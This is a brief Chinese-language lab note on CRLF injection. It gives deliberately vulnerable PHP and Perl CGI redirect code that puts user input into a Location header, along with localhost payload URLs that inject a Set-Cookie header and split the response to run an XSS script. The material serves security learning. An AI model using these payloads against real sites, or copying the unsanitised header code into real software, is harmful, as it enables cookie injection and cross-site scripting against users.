原本 LAB 想要用 PHP 呈現,不過 PHP 後來改版之後,不能注入多行的 Header。
<?php
if (isset($_GET['url'])){
$url = $_GET['url'];
header('Location: '.$url);
}
http://localhost:8005/crlf.php?url=https://google.com.tw
轉跳到 google.com.tw 正常功能http://localhost:8005/crlf.php?url=/%0D%0ASet-Cookie:feifei=good
噴錯
hello_world.pl
#!/usr/bin/perl -w
use CGI qw(:standard);
use strict;
use warnings;
my $query = new CGI;
my $p = $query->param('p');
print "Location: /$p\n\n";
http://localhost:8080/hello_world.pl?p=%0aSet-cookie:feifei%3Dgood
http://localhost:8080/hello_world.pl?p=%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E